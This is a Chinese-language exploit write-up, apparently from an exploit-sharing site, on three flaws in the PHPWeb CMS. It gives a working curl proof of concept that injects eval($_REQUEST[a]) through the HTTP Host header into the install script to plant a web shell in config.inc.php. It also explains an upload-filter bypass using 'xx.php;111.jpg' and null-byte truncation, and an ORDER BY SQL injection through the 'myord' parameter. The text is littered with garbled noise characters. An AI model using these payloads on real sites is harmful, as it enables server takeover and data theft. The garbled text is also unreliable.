注入:, H9 D0 Z1 t2 r1 B
4 d7 h( x; y1 |: @
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码+ f8 |* s4 J I1 |3 v) q2 Q
4 E' h) s- S+ {$ G3 w$ }" u8 m鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
5 B4 z" R# L% z; s% f: G: m. q7 I鸡肋2: 有一定安全常识的站长都会删掉 install 目录
. `, C9 |0 D: U$ G; L! B, v4 y
' [+ o. D3 T3 \) ]虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响# N. n5 G; Q6 a$ G1 }3 n0 t9 |4 l" ^
9 s2 a( k- x7 v8 k3 F" @分析:
# K2 {- Y7 u+ w6 P# W9 f
# M+ S$ r `% J8 R5 f1 n% D 1 P6 d; z) S/ \( e
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
* ]0 B- O4 _ I- A: `
6 i3 O( b; A/ C7 I $filestr = fread(fopen($SysConfigFile, 'r'),30000);
: E7 o; s y/ W) l' j' r$ d; E $filestr=str_replace(" ","",$filestr);( I3 \ K( }3 K/ ?0 ] i
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);5 @6 Q: J7 b5 @, C( ] O W
$filestr=str_replace("DefaultDbName",$dbname,$filestr);; X5 o: M3 [6 J/ H5 A
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);9 y4 j* W" P/ F$ S" Y
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);: Y2 ^( _3 H' T; R% m! F
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);
) v8 s4 j4 [1 `- Q' M8 Q $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);3 s9 z% S, t$ ~6 q
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);& U a# v! N2 a( {% S) s+ \* t
, s! f. ~6 x+ \ fwrite(fopen($ConFile,"w"),$filestr,30000);0 F+ ]! Y$ [4 d1 n( U4 a
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
' p- |1 m/ @" u& S; r- W1 L : j& z8 D+ [4 R7 V- M! x9 K& R' B
poc:
& G: O4 P+ n, H6 w 8 |* a( Y. K; a @; M9 a0 r
?$ D% t1 w9 p( [6 \( Z# B0 ~" E4 @
1
+ j D/ u/ A4 q+ o% I% ~curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"6 s: j+ n3 h# N9 q
shell地址: /config.inc.php
5 W/ t! j8 |& ?$ r2 X0 Q跟之前的 phpcms一样 需要远程数据库
7 p% C4 b( y' R $ K* i- q0 Y& U' w( g
——————————————————–
2 N4 t% E7 z* E& n( B1 D- e4 w上传漏洞(需要进后台):+ R. k; s$ h, S X+ W
漏洞文件: /kedit/upload_cgi/upload.php: p, j" U9 U: V7 Z
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用9 J% H9 ?9 [7 ]
5 _; H% N9 O3 C, n9 ~
& _% }8 r% N7 ~+ P; m/ }5 j<?php4 L5 n A1 A9 B$ g4 G$ J" [. |
define("ROOTPATH", "../../");% S3 C6 @0 U% d, y/ n0 N1 E
include(ROOTPATH."includes/admin.inc.php");
9 A5 |+ V* Q1 m5 o$ f# D6 H5 k NeedAuth(0);
; V7 k2 a- y+ t$ B8 i: Y( l
7 `3 E+ q, ^) X; E $dt=date("Ymd",time());
) W, P+ [' z% w& s- o if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
& X% w' ~/ F1 w4 }, E @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);! ?+ R7 [/ Q$ A
}
3 C0 P* E8 P6 ~% \9 ~
$ Q) O. }* D5 q //文件保存目录路径& N1 h) j1 e* E( M' B$ ~
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';6 t! k( {4 m; g& q
echo $save_path;
. T4 X( j; A M7 R& i //文件保存目录URL
' Y a9 w) y9 F- U, ] $save_url = '../../'.$_POST['attachPath'].$dt.'/';5 F5 K0 v( ~) x3 w0 I* g0 o9 |
- }2 V7 O& h, g" R! q
//定义允许上传的文件扩展名9 i8 F; U0 T/ a+ d& X. O4 C
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀
7 o; ]# y9 o: Q. |7 F* r2 B( f - o4 F5 Z# l6 I- I. H
//最大文件大小
$ y" b2 c& d/ S! m$ @4 b$ [ $max_size = 1000000;
8 l' x2 U5 D( c
! R0 u. Q$ a4 j5 j1 l& z2 o5 {9 _ //更改目录权限
: F* @0 P/ v+ Y0 O9 ?* O @mkdir($save_path, 0777);7 \/ A, W; C' P
) K1 m3 Z y' ~; Y. R8 y: T, z+ U //文件的全部路径! b7 J% X7 w" P
$file_path = $save_path.$_POST['fileName']; //保存文件名
O) F, {7 K0 Z9 C ) _/ u# P$ F8 `) j0 k
//文件URL! N0 _3 \" @$ d: n9 r0 i0 f
$file_url = $save_url.$_POST['fileName'];
1 K" P t3 I8 C7 u- B {8 ^6 Q//有上传文件时
! P( ^8 K9 |9 ^ if (empty($_FILES) === false) {
- a/ p# C$ v( p0 P # y* P+ p& N5 n$ A
//原文件名) W5 b' P( l- Z
$file_name = $_FILES['fileData']['name'];
5 p8 m7 ?6 O+ ?) \2 v1 j //服务器上临时文件名" \* N7 W0 t0 M* `& V! e
$tmp_name = $_FILES['fileData']['tmp_name'];" I3 r' v# D+ x1 P. o
//文件大小
# ?7 V# s8 |- w# L. o Z3 b $file_size = $_FILES['fileData']['size'];3 P! D \/ X" G) r
//检查目录
* U I* s |9 X$ Z6 m; M if (@is_dir($save_path) === false) {
. f0 X1 s$ Z7 j" f alert("上传目录不存在。");) u) X- q) y" J p
}* q+ Z# n- S! {/ O
//检查目录写权限
. p. u- G) r. x: q! {* c: S! B if (@is_writable($save_path) === false) {3 a. n; U; F3 `* h
alert("上传目录没有写权限。");) x* n3 f/ O7 ^& z% \
}- r5 m$ h- h! M7 J+ r
//检查是否已上传
$ t) @3 u1 S+ D( [" J if (@is_uploaded_file($tmp_name) === false) {
! n& {; j% g( `' ^ Q# b5 E alert("临时文件可能不是上传文件。");
1 `) h, q: Z: ] W ? }
( B+ \- J( D: i8 p. m( y D //检查文件大小
7 C4 U* U7 S) N9 G! t) H if ($file_size > $max_size) {
6 C2 T( Y( e" p: X$ C# o3 c* y alert("上传文件大小超过限制。");
3 p4 |. o# p; w4 g) _ }
6 C3 G& P- z7 u3 Q; ~6 ~ //获得文件扩展名8 J* ^5 \9 G3 t- v; _2 W" I6 p
$temp_arr = explode(".", $_POST['fileName']);
# l7 _8 A" a- u! U5 V5 A8 |1 L $file_ext = array_pop($temp_arr);
% _1 n5 O" T; M $file_ext = trim($file_ext);" g5 n0 p9 M" X7 i, }
$file_ext = strtolower($file_ext);; H+ E" o" X" m7 S# j
& @! P! E" c( G: [5 g //检查扩展名
" D' D# D0 k/ |6 i/ q. G- _ if (in_array($file_ext, $ext_arr) === false) { 3 ?5 H% n8 p, ?' \- W* L5 Q
alert("上传文件扩展名是不允许的扩展名。");
& w$ \& y( C' B! T* W! R* E8 s }
5 E3 U9 E8 i; b6 g
# f- P/ X# f- S* g! V$ q v //移动文件 $ U$ Z$ v3 A7 J" n0 n% V4 Q
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^0 g9 B# {/ y1 N/ x
if (move_uploaded_file($tmp_name, $file_path) === false) {
$ G+ x5 g( ]5 T/ | alert("上传文件失败。");
, i3 V. y- z: N7 C }
9 g0 g" @: `# k$ Z# r, ]
8 j: a0 A$ s# A* N W. |# d @chmod($file_path,0666);& Y+ P$ F# |# ]9 w9 i
/ U+ \$ N+ z( v; [, w ?>
% J( }: M; N: u3 h1 |7 w抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227+ X5 b1 |# W4 R, p: \
& K9 w2 [$ @! g
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过" D# \/ j: k& `* I/ s
' W4 K8 v9 \1 E# f——————————————————3 B4 K% A1 ~+ D( F
注入漏洞:
: B1 w9 I! ?2 g4 @- ~2 t$ @漏洞文件:search/module/search.php' H1 g$ O+ `5 U
/search/index.php?key=1&myord=1 [sqlinjection]
. E) V, n4 M, m% w1 i & E' b& A9 K# J# p/ J
8 l# Z& \* s' `9 z
<?php$ Y3 k; u5 N& U( _
// ... 省略 n 行...
* _5 ]4 C$ n) \7 B7 E/ p //第18行:" I6 O0 t' f$ N' r2 h5 s: Y7 z) v [
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响6 N9 z5 P. T; L: x' N
$page=htmlspecialchars($_GET["page"]);
- }. I2 d2 n% v# X+ u, G& M3 | $myord=htmlspecialchars($_GET["myord"]);
; q1 A! _9 H& L7 _1 p/ ~ 3 g& C, c, v! h$ N6 k. F0 {( u
// ... 省略 n 行...! R; k( I6 ~2 A. T5 r# b8 y" j% H
$key,$myord 两个参数带入查询8 g/ y" x; C3 k
//第47行 $key:
. b! Q3 H3 T5 b/ \- \7 r! P5 N , F4 t/ v! y0 g' p
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
0 ?) w5 f0 H4 {( I2 J7 j * {0 \; B! B9 v: T" l K Z( j
//第197行 $myord7 W# i) t. B, c# i2 |- o
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
$ Z, ~: u- B# R* I/ S ; m0 ~. e- u5 A C; O D) B6 F. E
?>
W( O4 O# p8 A: n |